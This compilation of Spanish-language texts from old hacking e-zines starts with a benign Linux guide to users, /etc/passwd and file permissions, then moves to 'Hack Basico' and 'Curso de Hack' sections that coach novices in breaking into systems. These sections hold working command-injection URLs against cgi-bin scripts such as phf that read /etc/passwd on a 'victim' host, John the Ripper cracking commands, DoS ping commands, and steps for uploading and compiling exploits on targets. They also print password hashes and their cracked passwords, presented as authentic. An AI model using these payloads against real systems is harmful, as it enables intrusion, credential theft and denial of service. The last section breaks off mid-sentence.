(indicado por un "+" junto al numero de tarea cuando usa el comando jobs). Si usted tiene varios procesos corriendo a la vez, podria mandar a primer o segundo plano una tarea especifica indicando el ID de tarea como argumento de fg o bg, como en /home/jperez# fg %2 (para la tarea de primer plano numero 2), o /home/jperez# bg %3 (Para la tarea de segundo plano numero 3). No se pueden usar los ID de proceso con fg o bg. Ademas de esto, si usa el numero de tarea por si solo, como /home/jperez# %2 es equivalente a /home/jperez# fg %2 Solo queda recordarle que el uso de control de tareas es una utilidad de la shell. Los comandos fg, bg y jobs son internos de la shell. Si por algun motivo usted utiliza una shell que no soporta control de tareas, no espere disponer de estos comandos. Y ademas, hay algunos aspectos del control de tareas que difieren entre Bash y Tcsh. De hecho, algunas shells no proporcionan ningun control de tareas sin embargo, la mayoria de las shells disponibles para Linux soportan control de tareas. #CAPITULO VI Administracion de Usuarios Este es uno de los temas mas importantes para quien ser el administrador del sistema. Gran parte de la seguridad del sistema depender de la correcta administracion y control de los usuarios, el administrador puede tomar dos posturas incorrectas a la hora de proteger el sistema una seria el exceso de celo en el cuidado lo que muchas veces va a resultar molesto a los usuarios y la otra es ser muy confiado lo que seguro va a traer complicaciones con los usuarios experimentados, la postura que yo recomiendo el una intermedia. Administrar un sistema es algo asi como cuidar la novia o esposa. Independientemente de que tenga muchos usuarios o no en su sistema, es importante comprender los aspectos de la gestion de usuarios bajo Linux. Incluso si se es el unico usuario, se debe tener, presumiblemente, una cuenta distinta de root para hacer la mayor parte del trabajo. Cada persona que utilice el sistema debe tener su propia cuenta. Es una malisima idea el que varias personas compartan la misma cuenta. No solo es un problema de seguridad, sino que las cuentas se utilizan para identificar univocamente a los usuarios del sistema. Se necesita ser capaz de saber quien esta haciendo que en cada momento que queramos. Usuario: podriamos definir como usuario a cada persona que pueda logearse al sistema, el que para ello deber ser validado por el superusuario. A cada usuario le corresponder lo que se llama "Cuenta" una cuenta son lo recursos que se le asignan a ese usuario. A su vez cuando el usuario de loguea, se dice que inicia una sesion. Para la correcta administracion de los usuarios, tendremos que cargar toda la informacion que el sistema necesita a fin de identificar como ya dijimos univocamente a cada uno. La mayoria de esta informacion la encontraremos en el archivo "passwd" que se encuentra en el directorio "/etc" a continuacion hago un detalle de esa informacion. * Nombre de usuario: El nombre de usuario es el identificador unico dado a cada usuario del sistema. Ejemplos de nombres de usuario son juan, jerez y mariag. Se puede utilizar letras y digitos junto a los caracteres "_" (subrayado) y "." (Punto). Los nombres de usuario se limitan normalmente a 8 caracteres de longitud. * User ID: El user ID, o UID, es un numero unico dado a cada usuario del sistema. El sistema normalmente mantiene la pista de la informacion por UID, no por nombre de usuario. * Group ID: El group ID, o GID, es la identificacion del grupo del usuario por defecto. Cada usuario pertenece a uno o mas grupos definidos por el administrador del sistema. * Clave: El sistema tambien almacena la clave encriptada del usuario. El comando passwd se utiliza para poner y cambiar las claves de los usuarios. * Nombre completo: El "nombre real" o "nombre completo" del usuario se almacena junto con el nombre de usuario. Por ejemplo, el usuario jperez se llama "Juan Perez" en la vida real. * Directorio inicial: El directorio inicial es el directorio en el que se coloca inicialmente al usuario en tiempo de conexion. Cada usuario debe tener su propio directorio inicial, normalmente situado bajo /home. * Shell de inicio: El shell de inicio del usuario es el interprete de comandos que es arrancado para el usuario en tiempo de conexion. Ejemplos pueden ser /bin/bash y /bin/tcsh. Como ya dije el fichero /etc/passwd contiene la informacion anterior acerca de los usuarios. Cada linea del fichero contiene informacion acerca de un unico usuario; el formato de cada linea es: nombre:clave encriptada:UID:GID:nombre completo:dir.inicio:shell Un ejemplo puede ser: jperez:Xv8Q981g71oKK:102:100:Juan Perez:/home/jperez:/bin/bash Como puede verse, el primer campo , "jperez", es el nombre de usuario. El siguiente campo, "Xv8Q981g71oKK", es la clave encriptada. Las claves no se almacenan en el sistema en ningun formato legible por el hombre. Las claves se encriptan utilizandose a si mismas como clave secreta. En otras palabras, solo si se conoce la clave, esta puede ser desencriptada. Esta forma de encriptacion es bastante segura. Algunos sistemas utilizan "claves en sombra" en la que la informacion de las claves se relega al fichero /etc/shadow. Puesto que /etc/passwd es legible por todo el mundo, /etc/shadow suministra un grado extra de seguridad, puesto que este no lo es. Las claves en sombra suministran algunas otras funciones como puede ser la expiracion de claves; El tercer campo "102", es el UID. Este debe ser unico para cada usuario. El cuarto campo, "100", es el GID. Este usuario pertenece al grupo numerado 100. La informacion de grupos, como la informacion de usuarios, se almacena en el fichero /etc/group. El quinto campo es el nombre completo del usuario. "Juan Perez". Los dos ultimos campos son el directorio inicial del usuario (/home/kiwi) y el shell (/bin/bash), respectivamente. No es necesario que el directorio inicial de un usuario tenga el mismo nombre que el del nombre de usuario. Sin embargo, ayuda a identificar el directorio. Como agregar un usuario Cuando se a¤ade un usuario hay varios pasos a seguir. Primero, se le debe crear una entrada en /etc/passwd, con un nombre de usuario y UID unicos. Se debe especificar el GID, nombre completo y resto de informacion. Se debe crear el directorio inicial, y poner los permisos en el directorio para que el usuario sea el due¤o. Se deben suministrar ficheros de comandos de inicializacion en el nuevo directorio y se debe hacer alguna otra configuracion del sistema (por ejemplo, preparar un buzon para el correo electronico entrante para el nuevo usuario). Aunque todo esto puede ser hecho a mano es mucho mas sencillo y seguro usar un programa que se provee con Linux llamado "adduser" este programita nos ira preguntando uno a uno los datos necesarios y una vez completados se encargara de modificar todos los archivos necesarios de configuracion y crear los directorios necesarios. Como borrar un usuario. Para borrar un usuario nos basta con borrarlo del archivo "passwd" y eliminar tambien todos sus archivos y directorios. Esto se puede hacer a mano o usar deluser que es mas seguro. Tambien podemos deshabilitar al usuario colocando un asterisco en el lugar donde va la clave encriptada. Aqui es importante saber que el superusuario puede cambiar en cualquier momento la clave de cualquier usuario, mientras que cada usuario solo puede cambiar su clave si el root se lo permite. Asi tambien se puede habilitar a los usuarios para que cambien por ejemplo su shell y puedan elegir el que mas les guste. #Capitulo VII Permisos de Ficheros Conceptos de permisos de ficheros Al ser UNIX un sistema multiusuario, para proteger los archivos importantes del sistema tales como el archivo de claves o ficheros de usuarios particulares de la manipulacion por parte de otros, UNIX proporciona un mecanismo conocido como permisos de ficheros. Este mecanismo permite que ficheros y directorios "pertenezcan" a un usuario en particular. Por ejemplo, como jperez creo ficheros en su directorio "home", jperez es el propietario de esos ficheros y tiene acceso a ellos. UNIX tambien permite que los ficheros sean compartidos entre usuarios y grupos de usuarios. Si jperez lo desea, podria restringir el acceso a sus ficheros de forma que ningun otro usuario tenga acceso excepto el root por supuesto. De cualquier modo, en la mayoria de los sistemas por defecto se permite que otros usuarios puedan leer tus ficheros pero no modificarlos o borrarlos. Como hemos explicado arriba, cada fichero pertenece a un usuario en particular. Por otra parte, los ficheros tambien pertenecen a un grupo en particular, que es un conjunto de usuarios definido por el sistema. Cada usuario pertenece al menos a un grupo cuando es creado. El administrador del sistema puede hacer que un usuario tenga acceso a mas de un grupo. Los grupos usualmente son definidos por el tipo de usuarios que acceden a la maquina. Por ejemplo, en un sistema UNIX de una universidad, los usuarios pueden ser divididos en los grupos estudiantes, direccion, profesores e invitados. Hay tambien unos pocos grupos definidos por el sistema (como bin y admin) los cuales son usados por el propio sistema para controlar el acceso a los recursos muy raramente los usuarios normales pertenecen a estos grupos. Los permisos estan divididos en tres tipos: lectura, escritura y ejecucion. Estos permisos pueden ser fijados para tres clases de usuarios: el propietario del fichero, el grupo al que pertenece el fichero y para todos los usuarios independientemente del grupo. El permiso de lectura permite a un usuario leer el contenido del fichero o en el caso de un directorio, listar el contenido del mismo (usando ls). El permiso de escritura permite a un usuario escribir y modificar el fichero. Para directorios, el permiso de escritura permite crear nuevos ficheros o borrar ficheros ya existentes en dicho directorio. Por ultimo, el permiso de ejecucion permite a un usuario ejecutar el fichero si es un programa o script del shell. Para directorios, el permiso de ejecucion permite al usuario cambiar al directorio en cuestion con cd. Interpretando los permisos de ficheros Veamos un ejemplo del uso de premisos de ficheros. Usando el comando ls con la opci¢n -l se mostrara un listado "largo" de los ficheros, el cual incluye los permisos de ficheros. -rwxr-xr-x 1 jperez users 505 Mar 13 19:05 archivo Este fichero pertenece a jperez y al grupo users. Echemos un vistazo a los permisos. La cadena -rw-r--r-- nos informa, por orden, los tres primero corresponden al propietario, los que le siguen al grupo y los ultimos a todos. El primer caracter de la cadena de permisos ("-") representa el tipo. El "-" significa que es un archivo. Las siguientes tres letras ("rwx") representan los permisos para el propietario del fichero, jperez. El "r" para "lectura" y "w" para escritura y "x" para ejecucion. Los tres caracteres siguientes representan lo permisos del grupo, aqui vemos que este archivo tiene permisos de lectura y ejecucion del grupo. Y finalmente los ultimos tres caracteres representan los permisos para todos los usuarios, tambien de lectura e ejecucion. Dependencias Es importante darse cuenta de que los permisos de un fichero tambien dependen de los permisos del directorio en el que residen. Por ejemplo, aunque un fichero tenga los permisos -rwxrwxrwx, otros usuarios no podran acceder a el a menos que tambien tengan permiso de lectura y ejecucion para el directorio en el cual se encuentra el fichero. Si jperez quiere restringir el acceso a todos sus ficheros, podria simplemente poner los permisos de su directorio "home" /home/jperez a -rwx------. De esta forma ningun usuario podra acceder a su directorio ni a ninguno de sus ficheros o subdirectorios. Jperez no necesita preocuparse de los permisos individuales de cada uno de sus ficheros. En otras palabras, para acceder a un fichero, debes de tener permiso de ejecucion de todos los directorios a lo largo del camino de acceso al fichero, ademas de permiso de lectura (o ejecucion) del fichero en particular. Habitualmente, los usuarios de un sistema UNIX son muy abiertos con sus ficheros. Los permisos que se dan a los ficheros usualmente son -rw-r--r--, lo que permite a todos los dem s usuarios leer los ficheros, pero no modificarlos de ninguna forma. Los directorios, usualmente tienen los permisos -rwxr-xr-x, lo que permite que los demas usuarios puedan moverse y ver los directorios, pero sin poder crear o borrar nuevos ficheros en ellos. Muchos usuarios pueden querer limitar el acceso de otros usuarios a sus ficheros. Poniendo los permisos de un fichero a -rw------- no se permitir a ningun otro usuario acceder al fichero. Igualmente, poniendo los permisos del directorio a -rwx------ no se permitir a los demas usuarios acceder al directorio en cuestion. Cambiando permisos El comando "chmod" se usa para establecer los permisos de un fichero. Solo el propietario puede cambiar los permisos del fichero. La sintaxis de chmod es: chmod {a,u,g,o}{+,-}{r,w,x} Brevemente, indicamos a que usuarios afecta all, user, group o other. Entonces se especifica si se estan a¤adiendo permisos (+) o quit ndolos (-). Finalmente se especifica que tipo de permiso read, write o execute. Algunos ejemplos: chmod a+r archivo Da a todos los usuarios acceso al fichero. chmod +r archivo Como arriba si no se indica "a", "u", "g" u "o" por defecto se toma a. chmod og-x archivo Quita permisos de ejecucion a todos los usuarios excepto al propietario. chmod u+rwx archivo Permite al propietario leer, escribir y ejecutar el fichero. chmod o-rwx archivo Quita permisos de lectura, escritura y ejecucion a todos los usuarios menos al propietario y a los usuarios del grupo del fichero. Los usuarios mas experimentados pueden usar directamente la nomenclatura octal para asignar o quitar permisos. Grupos Como hemos citado anteriormente, cada usuario pertenece a uno o mas grupos. La unica importancia real de las relaciones de grupo es la perteneciente a los permisos de ficheros, como dijimos en la seccion 3.9, cada fichero tiene un "grupo propietario" y un conjunto de permisos de grupo que define de que forma pueden acceder al fichero los usuarios del grupo. Hay varios grupos definidos en el sistema, como pueden ser bin, mail, y sys. Los usuarios no deben pertenecer a ninguno de estos grupos; se utilizan para permisos de ficheros del sistema. En su lugar, los usuarios deben pertenecer a un grupo individual, como users. Si se quiere ser detallista, se pueden mantener varios grupos de usuarios como por ejemplo estudiantes, directivos, profesores, soporte y facultad. El fichero /etc/group contiene informacion acerca de los grupos. El formato de cada linea es nombre de grupo:clave:GID:otros miembros Algunos ejemplos de grupos pueden ser: root:*:0: usuarios:*:100:jperez, lmamani invitados:*:200: otros:*:250:alumno El primer grupo, root, es un grupo especial del sistema reservado para la cuenta root. El siguiente grupo, users, es para usuarios normales. Tiene un GID de 100. Los usuarios jperez y lmamani tienen acceso a este grupo. Recuerdese que en /etc/passwd cada usuario tiene un GID por defecto. Sin embargo, los usuarios pueden pertenecer a mas de un grupo, a¤adiendo sus nombres de usuario a otras lineas de grupo en /etc/group. El comando groups lista a que grupos se tiene acceso. El tercer grupo, invitados, es para usuarios invitados, y otros es para "otros" usuarios. El usuario alumno tiene acceso a este grupo. Como se puede ver, el campo "clave" de /etc/group raramente se utiliza. A veces se utiliza para dar una clave para acceder a un grupo. Esto es raras veces necesario. Para evitar el que los usuarios cambien a grupos privilegiados (con el comando newgroup), se pone el campo de la clave a "*". Se pueden usar los comandos addgroup o groupadd para a¤adir grupos a su sistema. Normalmente es mas sencillo a¤adir lineas a /etc/group uno mismo, puesto que no se necesitan mas configuraciones para a¤adir un grupo. Para borrar un grupo, solo hay que borrar su entrada de /etc/group. #Glosario * Bugs: Errores en la confeccion de un programa. * Driver: programa encargado de servir de intermediario entre el sistema operativo y los distintos dispositivos conectados en el ordenador. * FAQ: Frecuent Asked Question. Cuestion frecuentemente preguntada. Recopilacion de preguntas y respuestas sobre las dudas mas frecuentes. * FTP: File Transfer Protocol: Protocolo utilizado para la transmision de ficheros. * GNU: GNU 's not UNIX. Frase recursiva que representa al proyecto encargado de la proteccion y creacion de software de libre distribucion. * Hacker: En su doble acepcion, persona que posee un nivel muy importante de conocimientos en Unix, experto. Tambien se dice que un hacker es aquel que utiliza sus extensos conocimientos de informatica para "romper" sistemas de seguridad. * HOWTO: Como ir hacia. como conseguir. Documentacion especifica obre algun aspecto concreto de Linux (impresoras, redes, UPS, etc. * Kernel: nucleo. En Linux, parte principal del sistema operativo. Codigo fuente del propio sistema. * LDP: Linux Documentacion Project: Proyecto para la Documentacion de Linux. * LILO: LInux LOader. Cargador de Linux. Peque¤o programa que permite el arranque de uno o varios sistemas operativos situados en una misma maquina. LILO puede poner en marcha, OS/2, Linux, MS-DOS, Windows'95, SCO, etc. * LSM: Linux Software Map. "Mapa" de software para Linux. Base de datos que recoge la mayor parte del software disponible para Linux, asi como su autor, descripcion, localizacion, observaciones, etc. * Mainframe: Ordenador principal. Equipo de muy altas prestaciones, Host. * NFS: Network Filey System: Sistemas de ficheros en red. * online on-line: en linea, en conexion. Documentacion on-line: documentos disponibles a traves de sistemas telematicos. * script: Guion. Shell script: guion para el procesador de 'ordenes. Programa batch. Equivalente en Unix a los ficheros BAT de MS-DOS. * Shell: Interprete de ordenes o comandos. Programa intermediario entre el sistema operativo y el usuario. Imaginatelo como si fuera el sustituto del COMMAND.COM de MS-DOS. Linux soporta varias shells diferentes (bash, ksh, cshell...). * Stdin: entrada standard; usualmente el teclado. * Stdout: salida standard; usualmente la pantalla. * Swap: Intercambio. * swap space: Area de intercambio. Memoria virtual. Zona de almacenamiento en disco (fichero o particion) que sirve como prolongacion de la memoria RAM realmente instalada, permitiendo la ejecucion de procesos que, de otra forma, requeririan una ampliacion fisica de dicha RAM. IMPORTANTE: Todo el material aqui incluido es de libre copia y distribucion por cualquier medio y soporte siempre que se conserve integro, en caso de reproduccion parcial se debe citar la fuente. La confeccion de esta guia corresponde a LeTaL, es fruto de la experiencia personal y de la recopilacion de documentacion del LDP (Linux Documentation Proyect) traducida por mi o por el Proyectos LuCas (Lunix en Castellano). Agradecimientos: A Linus Torvalds. LuCas, S.L.U.G, J.J.F. / HACKERS TEAM. <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> /***********************************\ ** ** ** HACK BASICO by \Wend|g0 ** ** ** ** Numero 1 ** ** ** \***********************************/ TEMAS: - Introduccion - Lista de puertos - Bugs sobre cgi-bin - Como empezar a usar el John the Ripper ______________________________________________________________________________ Antes de nada k nadie me confunda con el wendigo perteneciente al SHE, ya k yo no soy el. En principio estos textos son para gente que komo yo les gusta este ambiente pero no saben mucho y nadie les ayuda en su aprendizaje. Que quede muy claro que no quiero dar clases a nadie ya que la mayoria sabe mas que yo. Lo que opino es que hay mucha gente empezando que no les vendra mal y se haran una vaga idea de como comenzar. Usea, k si ya sabes algo del tema pierdes el tiempo leyendo esta serie de txts. Lo primero que debes hacer para poder entrar en cualquier sistema es recopilar toda la informacion posible acerca de el. -Version de sistema -Version de sendmail (Se saca haciendo un telnet al puerto del sendmail k es el 25) -Version del FTP (Puerto 21) -Ver si exporta direcorios al exterior (Desde linux >Showmount -e host) etc... Asi sabremos k bug ( fallo de sistema ) explotar. Para empezar voy a explicar los puertos. Existen numerosos puertos por los k entrar o interactuar con un host. Para k te kede klaro uno de los puertos k mas has utilizado es el 80, k es el puerto HTTP (hiper text transfer protocol). El FTP tambien tiene el suyo propio, el 21. Bueno, kizas el k mas uses a partir de ahora sea el 23 (TELNET). Aki va una lista de los puertos mas comunes para utilizar. No son todos pero si algunos de los mas importantes. ********************************************** discard 9 netstat 15 chargen 19 ftp 21 telnet 23 smtp (sendmail) 25 rlp 39 bootp 67 fingerk 79 http 80 / 8080 military http 80 / 8080 / 5580 link 87 pop3 110 identd 113 nntp 119 newsk 144 execk 512 login 513 pkill 515 ktalk 517 ntalk 518 netwall 533 rmontior 560 montior 561 kerberos 750 ********************************************** Bueno, y despues de esto diras... y ahora que debo hacer? Pues komo no es necesario explicarte, supongo k konoceras el tema del /etc/passwd no?, pues eso, si lo puedes pillar por ftp anonimo hazlo aunke no creo k sea verdadero, es decir, muy gilipoyas tendria k ser el ROOT. Revisa la version de sendmail y busca por tu disco duro algun exploit k funcione, ves a URLïs komo www.rootshell.com o raregazz.islatortuga.com/utiles.htm y rebusca hasta pillar alguno. Usa cuentas por defecto, haz "surfeo" o cualkier otra cosa. Lo k se te pueda okurrir... Tambien puedes intentar algo muy sencillo k es el PHF. Muchos host no tienen este bug pero te asombrarias de la cantidad de administradores penosos k ahi. Ademas, intentalo siempre, no vaya a ser k funcione XDDD. Abre tu navegador habitual y escribe: http://aki pon el nombre o IP de tu host victima/cgi-bin/phf?Query=x%0acat%20/etc/passwd Con este bug tu puedes usar comandos del UNIX desde tu navegador mismo. increible, no? Pero me diras... Y k komandos puedo usar? Pues de momento aprendete los basicos. Al lado esta la ekivalencia kon los del DOS dir = ls (-a)archivos okultos ver = uname -a (version del sistema) cat = type cd = cd cls = clear Estos komo minimo debes saberlos YA MISMO. Sigamos kon la tecnica phf. Si te fijas despues de la letra "a" viene el comando cat. Ahi es donde nosotros debemos empezar a poner nuestras ordenes deseadas. Pero... Y los espacios? komo los dejamos? Ajaja amigo ... Los espacios los debes poner komo %20 lo ves mas claro ahora? Ademas puedes usar modificadores pero ten encuenta siempre estos espacios. Bueno, te voy a poner una serie mas de bugs por cgi-bin bastante completita para que vayas jugando un pokillo mas. http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd http://www.victima.com/cgi-bin/php.cgi?/etc/passwd http://www.victima.com/cgi-bin/phf?Qalias=hell%0acat%20/etc/passwd%0a http://www.victima.com/cgi-bin/phf?Qalias=hell%0auname%20-a%0a http://www.victima.com/cgi-bin/handler/whatever;cat /etc/passwd|?data=Download http://www.victima.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a http://www.victima.com/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd http://www.victima.com/cgi-bin/view-source?../../../../../../../etc/passwd http://www.victima.com/cgi-bin/phf?Jserver=k%0Acat%20/etc/passwd%0a&Qname=d http://www.victima.com/cgi-bin/phf?Jserver=k%0Afinger%0a&Qname=d http://www.victima.com/cgi-bin/nph-test-cgi?/* Bueno koleguilla... Debes ahora hacerte con un buen crakeador de pass. El que yo te recomiendo es el Ripper. Segun comparativas es el mas rapido que existe. Esta repleto de opciones muy interesantes que debes ir descubriendo por ti mismo. Yo lo uso de dos maneras simples ya k tampoko necesito mas. La primera es usando diccionarios de palabras k te puedes bajar de ftpïs. La segunda es crakearlo a lo bestia usando todas las posibles combinaciones de palabras. Esto yo lo hago en casos extremos ya k es un proceso inacabable. Comandos que puedes usar con el Ripper: Para usar diccionarios escribe: john -rules -pwfile: -wordfile: " " modo bestia " john -incremental:all -pwfile: (todo tipo de caracteres) " " modo bestia " john -incremental:digits -pwfile: (solo numeros) " " modo bestia " john -incremental:alpha -pwfile: (solo letras) " " modo bestia " john -incremental:capital -pwfile: (con mayusculas) john -des -incremental -pwfile: john -restore (restaura una sesion despues de haber sido cortada) Esto es todo por ahora. Si te apetece discutirme o preguntarme algo mi email es wendigo13@hotmail.com /***********************************\ ** ** ** HACK BASICO by \Wend|g0 ** ** ** ** Numero 2 ** ** ** \***********************************/ TEMAS: - Comandos de win95 - Compilar exploits ______________________________________________________________________________ Bueno kolega, ya tienes el ficherito famoso, no?. No me apetece explicarte k se divide en tantas partes, k la primera es el login, la segunda el passw... SUPONGO K YA LO SABES. Sino pillate docs en los k se explica continuamente Y ahora... k hago?. Supongo k habras pillao la version de sistema y de sendmail, no? pues entonces !!! Hazlo !!! k no sabes????? Escribe en el sistema esto: ( en un unix, no en ms-dos XDDDD ) # uname -a Sencillo, no? Esto te dara la version del SO donde estas metido de "strangis". Yasta, ahora un exploit k sirva pa este sistema y usalo. Para usarlos debes subirlos al ordenata k intentas atakar. Yo uso el Ws_ftp pero si no tienes ninguno incluso puedes usar el k viene con win95. Viene uno con WIN95 ???? NO JODASSS !!! Pues si. Escribe ftp en alguna ventana ms-dos y se te cambiara el prompt a ftp> Luego escribes open host_a_hackear y listo. Asegurate k el exploit k vas a subir esta en el mismo directorio donde ejecutas el ftp. Aki va una lista de las ordenes del ftp para poder usarlo sin problemas ... ! delete literal prompt send ? debug ls put status append dir mdelete pwd trace ascii disconnect mdir quit type bell get mget quote user binary glob mkdir recv verbose bye hash mls remotehelp cd help mput rename close lcd open rmdir No te voy a explicar pa k sirve cada uno ya k hay algunos k ni lo se. Ante todo sinceridad XDDDD. Para salir del ftp> escribe Bye y listo y para subir un exploit u lo k kieras put nombre_del_fichero. Ufff... Esto kansa bastante, en serio. Personalmente prefiero leer k escribir :). Mas programillas k existen el el directorio WinDowS (sistema operativo pseudomultitarea de 16 bits) y k pueden o no ser de utilidad... TRACERT.EXE Va "trazando" todos los hosts desde el tuyo hasta el ekipo al k konectas. Pruebalo, es interesante. PING.EXE Ni k decir tiene pa k sirve. Usado con fines maleficos puede tirar mucha mas peña de la k os creeis. Ahi van algunos pings, no se si funcionan todos ya k no los he probao. Me los pasaron el otro dia. ping -l 65510 Atake de DoS "Denial oF Service" ping -s 1 -f Tira equipos IBM ping -s ip-del-lamer 1024 Todos no funcionan en windows... :) NBTSTAT.EXE Jejeje, esta es una de las maneras mas faciles de meterte en el ordenador de alguien, en serio. Ir probando a ver k konseguis y en el proximo numero os explicare como meterte en el ordenata de alguien y dejarlo "acojonao". Funciona kuando alguien tiene alguna carpeta compartida o mejor aun un disko duro. Ahi es donde entraria la "ingenieria social". Escribe nbtstat -A ip_del_lamer y edita el archivo hosts.sam poniendo su IP. ARP.EXE Otra utilidad pa probar XDDD. Sinceramente tengo una vaga idea de para k sirve asin k si alguien kiere explicarmelo gustosamente aceptare. Bueeeeeeno, a lo k ibamos... komo se compila un puñetero exploit ya dentro del UNIX.victima.es? Debes usar el gcc y el cc. A menudo te pone en los exploits la orden pa compilarlo correctamente. La orden normal a no ser k te digan otra, seria... $ gcc -o exploit exploit.c Asi se te crearia un archivo ejecutable listo pa hacerlo funcionar. Si no funciona ves probando con cc o c++ en vez de gcc. No obstante en algunos sistemas te puedes encontrar con que no "existe" compilador alguno, al menos para el usuario sin privilegios. <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> - CURSO DE HACK - CHAPTER VI Bueno pues ya estamos en la 6 entrega de este cursillo de hack, en esta entrega he pensado que os explicare el funcionamiento de un crackeador de password, lo mas seguro es que ya sepais hacerlo, para lo que si pues ahora repasais y para los que no, ya es hora de aprender :) Crackeadores de passwords ahi mil, pero por suerte son todos muy parecidos en el uso, ademas que casi todos los s.o. tienen pero como aqui nos enfocamos solo en Unix/Linux los otros los daremos de pasada. No creo necesario incluir una explicacion de la estructura del famoso fichero /etc/passwd, el cual es el que interesa. Existen muchos documentos por Internet que explican el fichero passwd, ademas que en este ezine en otros numeros ya a sido tratado, por lo que recomiendo una pasadita en los numeros anteriores. Ahora nos ponemos en accion, supongamos que ya tenemos el fichero passwd de un servidor cualquiera, hemos copiado el fichero a nuestro HD y ahora usaremos el crackeador que mas nos guste, como ya he dicho existen muchos, en este caso usare varios distintos para que veias la diferencia :) Ejecuto en este caso el John The Ripper, uno de los mas famosos y como vereis estoy usando la version 1.5 la cual es la ultima. D:\hacker\john>john John the Ripper Version 1.5 Copyright (c) 1996-98 by Solar Designer Usage: //D/HACKER/JOHN/john [OPTIONS] [PASSWORD-FILES] -single "single crack" mode -wordfile:FILE -stdin wordlist mode, read words from FILE or stdin -rules enable rules for wordlist mode -incremental[:MODE] incremental mode [using section MODE] -external:MODE external mode or word filter -restore[:FILE] restore an interrupted session [from FILE] -session:FILE set session file name to FILE -makechars:FILE make a charset, FILE will be overwritten -show show cracked passwords -test perform a benchmark -users:[-]LOGIN|UID[,..] load this (these) user(s) only -groups:[-]GID[,..] load users of this (these) group(s) only -shells:[-]SHELL[,..] load users with this (these) shell(s) only -salts:[-]COUNT load salts with at least COUNT passwords only -format:NAME force ciphertext format NAME (DES, BSDI, MD5, BF) -savemem:LEVEL enable memory saving, at LEVEL 1..3 D:\hacker\john> Como haveis podido notar estoy usando la version MS-DOS, sencillamente es el s.o. en el cual encontraremos mas crackeadores y ademas es la forma que mas gente utiliza, por eso prefiero usar el MS-DOS para este caso pero es igualito que en Unix/Linux. ahora le damos al John un fichero passwd, pero con la opcion single, y el resultado sera el siguiente: D:\hacker\john>john -single echpass John the Ripper Version 1.5 Copyright (c) 1996-98 by Solar Designer Loaded 3 passwords with 3 different salts (Standard DES [24/32 4K]) wnnwnn (wnn) oracle6 (oracle) guesses: 2 time: 0:00:00:00 100% c/s: 2840 trying: root1958 - r1969 D:\hacker\john> Podemos apreciar que el John a encontrado 2 cuentas, decir que el passwd que estoy usando es autentico :) pero posee muy pocas cuenta por lo que creo que es passwd perfecto para este proposito. La cuenta son las siguientes: oracle:vM5OPrBhNOeGY:2000:2000::/opt/oracle:/bin/csh wnn:WtTIftFaGSXTM:2005:2005::/tmp:/bin/csh Esto para el que quiera comprobar la autenticidad de los mismos :) Ahora lo que nos interesa es usar un diccionario con el John ya que asi podra comparar el diccionario con el passwd y obtener las contrase¤as de las cuenta que coincidan. Y para ello ejecutamos la sigueinte linea: D:\hacker\john>john -wordfile:password.lst echpass John the Ripper Version 1.5 Copyright (c) 1996-98 by Solar Designer Loaded 1 password (Standard DES [24/32 4K]) guesses: 0 time: 0:00:00:00 100% c/s: 2268 trying: sailor - zhongguo D:\hacker\john> Y como vemos el John en este caso no a encontrado nada, es logico ya que ninguna palabra que se usaban en las contrase¤as sale en el diccionario usado, el cual es el propio diccionario que trae el John. Lo aqui presentado es la forma mas basica, por lo que es recomendable que el lector realize sus propios experimentos y obtenga sus conclusiones. Ahora veremos otro famoso crackeador, el cual es conocido como Guess, y lo ejecutamos nos sale lo siguiente: D:\crack>guess GUESS: Unix Password Checker [Version 2.1] GUESS - Copyright 1991 Christian Beaumont C_BEAUMONT@UK.AC.LUT.HICOM and Sysop of fidonet node 2:250/301 THIS IS A BETA TEST VERSION FOR PUBLIC DISTRIBUTION Use: GUESS [PASSWORD_FILE] [[OPTION] [DICTIONARY]] ... Options are: -a Perform algorithmic check of password file -cWORD Catch up to specified word in dictionary -sWORD Check password file against specifed word only -uNAME Limit checking of dictionary to a certain user name -w Permit checking of dictionary to all users If you find GUESS useful or have any comments please feel free to contact me. Christian Beaumont +44-81-883-5683 (home) +44-81-680-1066 (work) D:\crack> Como vemos nos sale las diferentes opciones que lleva el programa, ahora ejecutaremos el Guess con el fichero de contrase¤as de la siguiente manera: D:\crack>guess echpass -a Reading password file ... ENTRIES 19 BROKEN 0 UNBROKEN 3 PERCENT BROKEN 0 Initialising tables Performing algorithmic check wnn is wnnwnn 6 guesses in 0 seconds (109 guesses/sec 1 clocks) D:\crack> Como podemos apreciar solo a encontrado una cuenta, la cual es "wnn", aqui vemos una diferencia entre el Guess y el John. Como siempre lo mejor es usar un diccionario, pero si fuese el caso que consegueis un fichero passwd de un 